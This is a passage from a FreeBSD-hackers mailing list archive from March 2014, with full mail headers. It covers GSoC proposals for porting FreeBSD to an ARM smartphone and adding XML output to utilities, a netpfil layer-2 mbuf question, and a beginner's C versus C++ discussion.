> > > > > > That is the hell, it seems Qualcomm uses lauterbach jtag adapter in that > > case. > > I and my friend and also some people have tried some adapters like > > flyswatter2 with ifc6410, still no luck. > > > >> I suggest using the chainloading approach, that is using the > >> bootloader that ships with the device and pretend to be a linux image. > > > > > > That can be done. Their bootloader like maybe LK in case of ifc6410 can > boot > > freebsd kernel. > > Actually I did that for ifc6410. > > I have not investigated how FreeBSD boots yet, but iirc LK only supports > linux > (at least it did 3 years ago when I ported it to msm7200A). Since you > have a working > kernel for ifc6410, I could try using it first. If it at least boots, > we can ignore the > UART and go straight into writing mmc block drivers. > > Even if you write mmc driver you still need full functioning uart driver (kernel+userland), that makes debugging easier at least and yet it allows to see all the boot messages and you know for sure you get login prompt :) Ganbold > > > >> > >> > >> For the mid-term I want to port the u-boot bootloader and add the > >> support for accessing the microSD card from it. The u-boot will be > >> flashed to the device instead of the linux kernel. > > > > > > > > That could be cool. > > > >> > >> > >> Since the proprietary bootloader already initializes the display (we > >> can also port linux driver to u-boot), it should be possible, at least > >> during the initial stage, to use a simple driver in FreeBSD that would > >> write to the framebuffer allocated by the bootloader or only write the > >> framebuffer address to the display controller. > > > > > > > > That is nice. However first we need uart driver, then either usb ehci, > mmc > > or sata driver needs to mount rootfs in order to boot freebsd to > multiuser > > mode. I already have timer driver and minimal console driver so it makes > > booting little bit easier. > > Well, since GSoC wiki clearly states the task to port to a phone, the > only acceptable > route is mmc (usb is complex and anyway it is unacceptable to have a phone > tethered to the laptop all the time). I think a phone is a good target from > the marketing point of view, though it is not much different from a > development board. > > > > >> > >> > >> In the past I've successfully ported linux to an Intel XScale-based > >> Asus P525 smartphone, ported Android with all hardware working to boot > >> from NAND on the Sony Xperia X1 phone and have ported various boards > >> from OEM to vanilla kernel trees. Recently I've experimented with the > >> XNU kernel (the one which is used in the fruity operating system) and > >> ported it to the OMAP5 board. So I think I'll be able to pull it off. > > > > > > Cool. In case of android or linux there are many people working on > various > > stuffs so in most case drivers are either written or somebody has got > > started working on particular driver already. For FreeBSD case it is > > different. You maybe know that very few people are working in case of ARM > > platform bringup, so we need more developers and I'm happy that you > decided > > to work on this direction. > > So I'm waiting for an opinion from the community. What is more desired - a > phone > port or a new SoC/board support? I have OMAP5432 development board, but > as you may know there are no phones with that CPU and there will never > be. On the > other hand, this board is > 1) Similiar to OMAP4 > 2) Has SATA and USB 3.0 > So if this hardware is supported it can potentially be interesting to > evaluate the performance > of a server-like installation on ARM A15 SoC. > > > > > Ganbold > > > > > >> > >> > >> Have a nice day! > >> > >> -- > >> Regards, Alexander > >> _______________________________________________ > >> freebsd-hackers@freebsd.org mailing list > >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > >> To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > > > > > > > > -- > Regards, Alexander > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 01:39:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25C87F42; Mon, 17 Mar 2014 01:39:39 +0000 (UTC) Received: from felyko.com (felyko.com [IPv6:2607:f2f8:a528::3:1337:ca7]) by mx1.freebsd.org (Postfix) with ESMTP id 0B409C4C; Mon, 17 Mar 2014 01:39:39 +0000 (UTC) Received: from [10.0.1.3] (c-24-6-115-18.hsd1.ca.comcast.net [24.6.115.18]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by felyko.com (Postfix) with ESMTPSA id 4844539841; Sun, 16 Mar 2014 18:39:38 -0700 (PDT) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: mbuf question From: Rui Paulo In-Reply-To: <20140316212106.GF32089@funkthat.com> Date: Sun, 16 Mar 2014 18:39:38 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <7FA2AB99-EE03-4E84-A67D-F3FCD734B66B@FreeBSD.org> References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> <5325BC99.2060703@gmail.com> <20140316212106.GF32089@funkthat.com> To: John-Mark Gurney X-Mailer: Apple Mail (2.1874) Cc: FreeBSD Hackers , Ian Lepore , Hooman Fazaeli X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 01:39:39 -0000 On 16 Mar 2014, at 14:21, John-Mark Gurney wrote: > Why do we need this info in another location? Isn't this already in > the packet? How else did we get it then? Or are you dealing w/ the > fact that the L2 information was stripped by an upper layer, and if > that is the case, shouldn't you be getting the packet soon then? It's mostly because the netpfil hooks are in layer 3. The layer 2 = headers are stripped by layer 2 code before it passes the mbuf to layer = 3. I don't know what the goals are, so it's hard to suggest alternatives... = Do we want to filter IP packets based on L2 information or do we want to = filter L2 packets like ARP? It's possible that the best alternative is = to extend netpfil to layer 2 and then validate the mbuf there. -- Rui Paulo From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 02:24:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 87E7B696 for ; Mon, 17 Mar 2014 02:24:06 +0000 (UTC) Received: from nm32-vm6.bullet.mail.bf1.yahoo.com (nm32-vm6.bullet.mail.bf1.yahoo.com [72.30.239.142]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0B658F95 for ; Mon, 17 Mar 2014 02:24:05 +0000 (UTC) Received: from [98.139.212.150] by nm32.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 02:21:18 -0000 Received: from [68.142.230.77] by tm7.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 02:21:18 -0000 Received: from [127.0.0.1] by smtp234.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 02:21:18 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395022878; bh=dUjdISg9VZhT9IRGpODTF6upP6T4g5TSlDmxAw67tCo=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Subject:From:Content-Type:X-Mailer:Message-Id:Date:To:Content-Transfer-Encoding:Mime-Version; b=Vbesujv0IalTN2FABUEK3HZYTbuPUoW7LWWRRsmBsTY72pwh+uVg8ootjdTU/QEzGbRbBIA0EHxFR/3N3xn8X1+wx9RLXNwR2RTon57SJXveZRc7n+oqZgFC+WfdISnZLKNeaXtP2kHxLUsM3i3wlJFxsT9dqO68qln5weFETAg= X-Yahoo-Newman-Id: 797218.90164.bm@smtp234.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: MPE_L7EVM1nBD3wNeXEUZWZUVGtpq._1S.yGihYYUOHQ5of PnukzTqTIc9yOD5Hd8a7PPJhQ04FyduFOWYSnYL20jRKr7P5arsaRrrrk1z_ Nt8ZZ7Z.8Ctcr2Z7rJoimbWigyCnIAfS4EMkaA9I6NUm9g62w9ABgcJxkEVd fpB69RIsGVaOsRd17m6xk7t5sCAd.mRG3DijXfJX1JSS5BjwiHQAQzgQHMxS 3aTWxvFR6j4MDyJanjYS9ydGk9JOR7X2iBCx1Hmf6yjai3jj7FhPaohdOlAA Dv5tbLo4YN3l5sTB6W._mi_ya9n1KL.ORBrNn4B4m6GprFhxfmnBvTiq..ie S57uWPhtkW_xcZUBYOFWKE.OzBIksnhnwqZWPK27ggDsNNOk_KKmZ38Ut1Qa gHP5Y3vLmLIdp66SCEq_encRSfjOxgW9IxghPJNFjZGqYOTjdfEc372X.TYm WhDg37UWx.YZM7YXi3U5heKOdFm4gn0bPmchrPi_69BKNkZ1MfDrtf5AuI3E .FCwsyaQBzXSlMfg71MRsxg-- X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.234.211.170] (free7by@117.136.24.203 with xymcookie [106.10.149.123]) by smtp234.mail.bf1.yahoo.com with SMTP; 17 Mar 2014 02:21:18 +0000 UTC Subject: Something related to C and C++ From: by Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (11D169) Message-Id: Date: Mon, 17 Mar 2014 10:20:55 +0800 To: "freebsd-hackers@freebsd.org" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 02:24:06 -0000 Hi, At first, I would say, I do not want to lead to a holy war between programmi= ng languages, and I am a newbie in this field, but I am confused about this,= so I want get some answers or discusses from here to help me thinking about= this. I found that in IT industry, C++ has more and more users, I can understand w= hy they do this, C++ can make them build system more easy than C does. okay,= I just know a little about C++, but in my feeling, C++ can make you do thin= gs in a higher place. Yes, C++ is great, but for me, it is too difficult, or I would say, it is to= o complicated. I got two books in my hand, one is <>, another is <>. Just consider from the we= ight : ) You can find something. In the past, GCC use C, but now it turn to C++, and LLVM is written by C++. Yes I prefer C now, and you may say, you have not use these two languages de= eply, how could you judge them? Yes, I know I should not judge them, but as a= newbie, this is my very feeling, just like a kid first looking at this worl= d! Simple, but confused. At last, I am not lead to a holy war between programming languages, I just c= onfused and want some related answers. This is it. : ) - by= From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 02:35:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9932F814 for ; Mon, 17 Mar 2014 02:35:46 +0000 (UTC) Received: from mail-qa0-x232.google.com (mail-qa0-x232.google.com [IPv6:2607:f8b0:400d:c00::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 585639C for ; Mon, 17 Mar 2014 02:35:46 +0000 (UTC) Received: by mail-qa0-f50.google.com with SMTP id o15so4728401qap.37 for ; Sun, 16 Mar 2014 19:35:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=YVjCUAtAohKzHQldflFpYCu5nVSs6goMhxeGYldOah0=; b=pzAR7GWY8586nw0FIBn4yFcot4dSuln5EYBSSbAF2WPdlVzyh+UZXvKGYXqx5v/dA/ lk8tgolZhzGe+63pdWN2gR54fUvrw44l5bJySonYWzFJsZ0ORWLURMSy0GQ9agVtZrP/ enyJpGLNKTB1STlsQVXkcRT1msajbpKcnf3gNNjzGMiyrCLtkWtRAR1Kbp8hN4FHYDUv 8rAKrNwb0YnjDrRB6Yq3RS6z1DjnQLu1BIM8ejPl6FAMK69/VZXodk58e9sgGdDQ78K6 PdRDicP8lb8QDGR85DfQy6JD08hOWX2qsIt6gLVNLxCOkrPRtfaQMAXJ+rOhlEFniKOf MpeQ== MIME-Version: 1.0 X-Received: by 10.140.84.231 with SMTP id l94mr6136013qgd.75.1395023745536; Sun, 16 Mar 2014 19:35:45 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.8.137 with HTTP; Sun, 16 Mar 2014 19:35:45 -0700 (PDT) In-Reply-To: References: Date: Sun, 16 Mar 2014 19:35:45 -0700 X-Google-Sender-Auth: QiIGVbYZ71bL7tRb3OKvA4y-3BA Message-ID: Subject: Re: GSoC:Convert some utilities to emit XML From: Adrian Chadd To: =?UTF-8?B?5b6Q5b+X6ZSL?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD-Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 02:35:46 -0000 Hi! So I've just added libbsdstats to the tree, which some wireless tools use (tools/tools/net80211/wlanstats is a good exmaple.) I'd like to extend libbsdstats to have multiple output formats, including x= ml. That way we can just "get" xml representations for any tools we migrate to use libbsdstats. I was thinking of maybe doing a conversion of iostat to begin with. The only real downside with libbsdstats as it stands right now is that it doesn't "know" about dynamic lists of things to display statistics for, so it can't do the iostat/vmstat thing of listing statistics for say, two or more disk devices at once. But it'd be good to teach it that. Thanks! -a On 16 March 2014 07:07, =E5=BE=90=E5=BF=97=E9=94=8B wrote: > Hello all, > I'am going to apply the GSoC for the project "Machine readable output fro= m userland utilities". > I wonder how to enable the utilities to emit XML output ;Should I add an = option saying -xml to > enable this? > JunOS can emit the XML output using the pipe to display xml(| display xml= ); and I also > wonder how JunOS implemented this. > > Bests. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 02:54:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1F683A99 for ; Mon, 17 Mar 2014 02:54:43 +0000 (UTC) Received: from nm47-vm10.bullet.mail.bf1.yahoo.com (nm47-vm10.bullet.mail.bf1.yahoo.com [216.109.114.219]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B1A6F228 for ; Mon, 17 Mar 2014 02:54:42 +0000 (UTC) Received: from [66.196.81.172] by nm47.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 02:51:12 -0000 Received: from [98.139.211.205] by tm18.bullet.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 02:51:12 -0000 Received: from [127.0.0.1] by smtp214.mail.bf1.yahoo.com with NNFMP; 17 Mar 2014 02:51:12 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395024672; bh=hP4x82xT4AO8kICtgQdtLPVEJ9/2k/bOTewGqdGe3mE=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=vqE93ZlSWaOvWjlSMtYRefYufUjD6aMEjLds6t13vChN0oSUKJ+AzOvxLumUFIReNuUZwrTaTKDWTyeWATIyxskJfmkDuXx+kY6ZJrjmmLFRxYlbyxCTQyCiPXqvoxR9YO/2eDY23y9eC9Eo71KqarpFRwO5Jk93i1cmF/fPLig= X-Yahoo-Newman-Id: 646976.96288.bm@smtp214.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: rzGIMRIVM1njmQPoPSD5iyeg7uV.mQDw8.kq1.aL9riWCYg OgJNVtcHvMI5HWDWXoSbrRP1MY4dx_t3G.xvV9F8a6DLwaTSTkB83_RKTwTF lCKoS7H2tI1k698F3SQvzQRS4D5k_Fc0IWkESVyJasD6AFW.RJdYnvSpd4em SXfEXbL_cQyr8Nn8_3VawgPviGs4Ze_7F4NICqolUSRuvpus.f.5OuLEq15Q QKvSZBAXe4vEzKe1rSheUGc7M55KrJQKgGNL3wQ85bfXqzyK6OjS4AufOSTf Mi8ON1ntzca_P8CGN459O_zOesZmqpMPwoL43YGJfi_86i66pIpHhGh7z82D rJu_Bob9T.DJrblbQMK_LxU0e34V7mJnR0v7kuKylbhsUxWjuKbzw10I5kKp Aznxdb4eiEXg5.wJUytoQXl4wQL5Am4dQD2T2zYcmDDMGIvxuto3z_M37vhk P4pv4CLmSjEAx_Tbcb_GmedcNL3L9BVOWyI_VJjuLb_UQuL97FUIFOLVbHY5 MLX0YsCjy X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.234.211.170] (free7by@117.136.24.203 with xymcookie [106.10.149.123]) by smtp214.mail.bf1.yahoo.com with SMTP; 16 Mar 2014 19:51:12 -0700 PDT References: <20140317103830.53c42ade@X220.alogt.com> Mime-Version: 1.0 (1.0) In-Reply-To: <20140317103830.53c42ade@X220.alogt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Mon, 17 Mar 2014 10:50:56 +0800 To: Erich Dollansky Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 02:54:43 -0000 Well, I think C++'s popular has something related to C's popular use, but it= contains too much, I prefer simple tool, do one thing, and do it well, no m= ore extras, and build a system with their combinations, at least the base sy= stem. - by > On Mar 17, 2014, at 10:38, Erich Dollansky wrote: >=20 > Hi, >=20 > On Mon, 17 Mar 2014 10:20:55 +0800 > by wrote: >=20 > as C++ is C plus 'some' extras, just start with C. When you know C - > which you have to know anyway to write C++ programs - you can add C++ > to your knowledge. >=20 > Never forget that object orientated programming is much older than C++ > and can be done in most languages. I did my first steps in object > orientated programming in 8080 assembler without even knowing that > what I did will be later be known as object orientated programming. >=20 > The little programming I still do is all done in C but using some of > the 'addons' of C++. So, all my sources are .cpp files. >=20 > Erich >> Hi, >> At first, I would say, I do not want to lead to a holy war between >> programming languages, and I am a newbie in this field, but I am >> confused about this, so I want get some answers or discusses from >> here to help me thinking about this. I found that in IT industry, C++ >> has more and more users, I can understand why they do this, C++ can >> make them build system more easy than C does. okay, I just know a >> little about C++, but in my feeling, C++ can make you do things in a >> higher place. Yes, C++ is great, but for me, it is too difficult, or >> I would say, it is too complicated. I got two books in my hand, one >> is <>, another is <> Language>>. Just consider from the weight : ) You can find something. >> Language>>In the past, GCC use C, but now it turn to C++, and LLVM is >> Language>>written by C++. Yes I prefer C now, and you may say, you >> Language>>have not use these two languages deeply, how could you >> Language>>judge them? Yes, I know I should not judge them, but as a >> Language>>newbie, this is my very feeling, just like a kid first >> Language>>looking at this world! Simple, but confused. At last, I am >> Language>>not lead to a holy war between programming languages, I >> Language>>just confused and want some related answers. This is it. : ) >>=20 >> - by >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to >> "freebsd-hackers-unsubscribe@freebsd.org" >=20 From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 02:36:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B8E50931 for ; Mon, 17 Mar 2014 02:36:52 +0000 (UTC) Received: from mail-ie0-f181.google.com (mail-ie0-f181.google.com [209.85.223.181]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 803BEAD for ; Mon, 17 Mar 2014 02:36:52 +0000 (UTC) Received: by mail-ie0-f181.google.com with SMTP id tp5so4893976ieb.12 for ; Sun, 16 Mar 2014 19:36:46 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=N0IOoEo/Iguq4k/0qY0smXzpyKKR89UwyWNxJs520NM=; b=A5fSeTu9/tG6vQWX/qr927PDNH8vkai6ItGrnFBwvGEqqksEIsYWlU7EpYIDzZs/Mp JENZXU0Jy830UidM+YucDzh7x5QOT05tjBIgwJQngMFZ6awuNZaA3Lw0Wfn3AZk5aZ6o TzcY5uUj9QIIqzSszrTClYRMjGjvs3pGy1qwnY9Uj/3ejVGgYUNFxM/Kl165rXFz+MmC PLCITgpMzKoRdqTEngMJ8oiySvr+Hwbc4X5ISApTRzb1MuYVEL7DvGhx7SzI6Zaa67PU ArAX9SypWmN7Y9RBR/6V3vGdhJ2O597iGtZgVk13DcOz4f3vnQyfUvFrg6g9z2sJrTTU 6MQg== X-Gm-Message-State: ALoCoQmB8qMIjCzjFPHdhtikWKFTrhqdIq6ry3rGm7qdXjgkTdipqzxXhK1eipqJDeiXTn2+iB2h7S7vWjY727c54kTJ0nNZo3VDuLJ1tM6WC13NExIVRkg= X-Received: by 10.50.4.74 with SMTP id i10mr10421298igi.43.1395023316736; Sun, 16 Mar 2014 19:28:36 -0700 (PDT) MIME-Version: 1.0 Received: by 10.42.128.200 with HTTP; Sun, 16 Mar 2014 19:28:20 -0700 (PDT) In-Reply-To: References: From: "Lundberg, Johannes" Date: Mon, 17 Mar 2014 11:28:20 +0900 Message-ID: Subject: Re: [GSoC 2014] Interested in ARM bringup tasks To: Ganbold Tsagaankhuu X-Mailman-Approved-At: Mon, 17 Mar 2014 02:55:58 +0000 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: "Wojciech A. Koszek" , freebsd-hackers@freebsd.org, "freebsd-arm@freebsd.org" , Alexander Tarasikov X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 02:36:52 -0000 Hi I would love to see a porting effort to the new Tegra K1 board. Release is set to Q2 this year but I don't know if it will be in time for GSoC... With the powerful GPU on the K1 I see lots of uses in image processing device in cars, surveillance etc, gaming consoles, tablet, smartphones etc. http://www.nvidia.com/object/tegra-k1-processor.html Thanks! -- Johannes Lundberg BRILLIANTSERVICE CO., LTD. On Mon, Mar 17, 2014 at 10:25 AM, Ganbold Tsagaankhuu wrote: > Alexander, > > > On Mon, Mar 17, 2014 at 9:13 AM, Alexander Tarasikov < > alexander.tarasikov@gmail.com> wrote: > > > On Mon, Mar 17, 2014 at 4:39 AM, Ganbold Tsagaankhuu > > wrote: > > > Alexander, > > > > > > > > > On Mon, Mar 17, 2014 at 7:19 AM, Alexander Tarasikov > > > wrote: > > >> > > >> Hello, FreeBSD community! > > >> > > >> I am interested in participating in GSoC this year and I'd like to > > >> pick up one of the tasks related to porting FreeBSD to new > > >> architectures. I'm now doing my master's degree in software > > >> engineering at the "Higher School of Economics" in Moscow. > > >> > > >> Since I love ARM and smartphones, I've chosen the project to port > > >> FreeBSD to a smartphone. If that task is already occupied (which > > >> doesn't seem so), I would be happy to pick up another task suggested > > >> by the community. > > >> > > >> I want to port FreeBSD to the Sony Xperia Z phone. This phone has the > > >> Qualcomm APQ8064 SoC which is used in a large number of smartphones, > > >> including Google Nexus 4. Besides, Qualcomm SoCs are developed > > >> incrementally so there's a high chance that the code for current > > >> generation of chips will benefit future revisions as well. > > > > > > > > > Interesting. I'm not quite sure how accessible is some pins like uart > in > > > Experia Z. > > > I have it here, but I still didn't try to open it yet to see the pins > > etc. > > > Probably you meant here some embedded boards like ifc6410. > > > Plus ifc6410 has docs so that could be useful too. > > > > > > > Yes, that's the trouble with mobile phones - getting UART is hard. On > > the other hand, > > having pre-initialized framebuffer also helps in most cases. The problem > > with > > ifc6410 board is that I don't have one and even if someone wants to send > > me one, I may have huge trouble with customs. > > > > I personally have the Xperia Z phone, and I don't really want to *buy* > > another one > > (because it looks like I have far more hardware than I have time to > > play with it) > > I may be able get my hands on an OMAP4-based Galaxy Nexus. Maybe someone > > from Moscow could lend me some hardware. If I get stuck with Xperia, I > may > > exchange it for a Nexus 5 on a local craiglist since it's also qcom > > but has UART. > > > > > > > >> > > >> > > >> It is known that debugging like JTAG and flash recovery is not > > >> available on consumer devices because of DRM and general love for > > >> obfuscation among the vendors. Therefore, to prevent bricking the > > >> device, > > > > > > > > > That is the hell, it seems Qualcomm uses lauterbach jtag adapter in > that > > > case. > > > I and my friend and also some people have tried some adapters like > > > flyswatter2 with ifc6410, still no luck. > > > > > >> I suggest using the chainloading approach, that is using the > > >> bootloader that ships with the device and pretend to be a linux image. > > > > > > > > > That can be done. Their bootloader like maybe LK in case of ifc6410 can > > boot > > > freebsd kernel. > > > Actually I did that for ifc6410. > > > > I have not investigated how FreeBSD boots yet, but iirc LK only supports > > linux > > (at least it did 3 years ago when I ported it to msm7200A). Since you > > have a working > > kernel for ifc6410, I could try using it first. If it at least boots, > > we can ignore the > > UART and go straight into writing mmc block drivers. > > > > > Even if you write mmc driver you still need full functioning uart driver > (kernel+userland), that makes debugging easier at least and yet it allows > to see all the boot messages and you know for sure you get login prompt :) > > Ganbold > > > > > > > >> > > >> > > >> For the mid-term I want to port the u-boot bootloader and add the > > >> support for accessing the microSD card from it. The u-boot will be > > >> flashed to the device instead of the linux kernel. > > > > > > > > > > > > That could be cool. > > > > > >> > > >> > > >> Since the proprietary bootloader already initializes the display (we > > >> can also port linux driver to u-boot), it should be possible, at least > > >> during the initial stage, to use a simple driver in FreeBSD that would > > >> write to the framebuffer allocated by the bootloader or only write the > > >> framebuffer address to the display controller. > > > > > > > > > > > > That is nice. However first we need uart driver, then either usb ehci, > > mmc > > > or sata driver needs to mount rootfs in order to boot freebsd to > > multiuser > > > mode. I already have timer driver and minimal console driver so it > makes > > > booting little bit easier. > > > > Well, since GSoC wiki clearly states the task to port to a phone, the > > only acceptable > > route is mmc (usb is complex and anyway it is unacceptable to have a > phone > > tethered to the laptop all the time). I think a phone is a good target > from > > the marketing point of view, though it is not much different from a > > development board. > > > > > > > >> > > >> > > >> In the past I've successfully ported linux to an Intel XScale-based > > >> Asus P525 smartphone, ported Android with all hardware working to boot > > >> from NAND on the Sony Xperia X1 phone and have ported various boards > > >> from OEM to vanilla kernel trees. Recently I've experimented with the > > >> XNU kernel (the one which is used in the fruity operating system) and > > >> ported it to the OMAP5 board. So I think I'll be able to pull it off. > > > > > > > > > Cool. In case of android or linux there are many people working on > > various > > > stuffs so in most case drivers are either written or somebody has got > > > started working on particular driver already. For FreeBSD case it is > > > different. You maybe know that very few people are working in case of > ARM > > > platform bringup, so we need more developers and I'm happy that you > > decided > > > to work on this direction. > > > > So I'm waiting for an opinion from the community. What is more desired - > a > > phone > > port or a new SoC/board support? I have OMAP5432 development board, but > > as you may know there are no phones with that CPU and there will never > > be. On the > > other hand, this board is > > 1) Similiar to OMAP4 > > 2) Has SATA and USB 3.0 > > So if this hardware is supported it can potentially be interesting to > > evaluate the performance > > of a server-like installation on ARM A15 SoC. > > > > > > > > Ganbold > > > > > > > > >> > > >> > > >> Have a nice day! > > >> > > >> -- > > >> Regards, Alexander > > >> _______________________________________________ > > >> freebsd-hackers@freebsd.org mailing list > > >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > >> To unsubscribe, send any mail to " > > freebsd-hackers-unsubscribe@freebsd.org" > > > > > > > > > > > > > > -- > > Regards, Alexander > > > _______________________________________________ > freebsd-arm@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-arm > To unsubscribe, send any mail to "freebsd-arm-unsubscribe@freebsd.org" > -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- $BHkL)J];}$K$D$$$F!'$3$NEE;R%a!<%k$O!"L>08?M$KAw?.$7$?$b$N$G$"$j!"HkF?FC8"$NBP>]$H$J$k>pJs$r4^$s$G$$$^$9!#(B $B$b$7!"L>08?M0J30$NJ}$,l9g!"$3$N%a!<%k$NGK4~!"$*$h$S$3$N%a!<%k$K4X$9$k0l@Z$N3+<(!"(B $BJ#$NMxMQ!"$^$?$O5-:\FbMF$K4p$E$/$$$+$J$k9TF0$b$5$l$J$$$h$&$*4j$$?=$7>e$2$^$9!#(B --- CONFIDENTIALITY NOTE: The information in this email is confidential and intended solely for the addressee. Disclosure, copying, distribution or any other action of use of this email by person other than intended recipient, is prohibited. If you are not the intended recipient and have received this email in error, please destroy the original message. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 02:38:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E2F1E941 for ; Mon, 17 Mar 2014 02:38:45 +0000 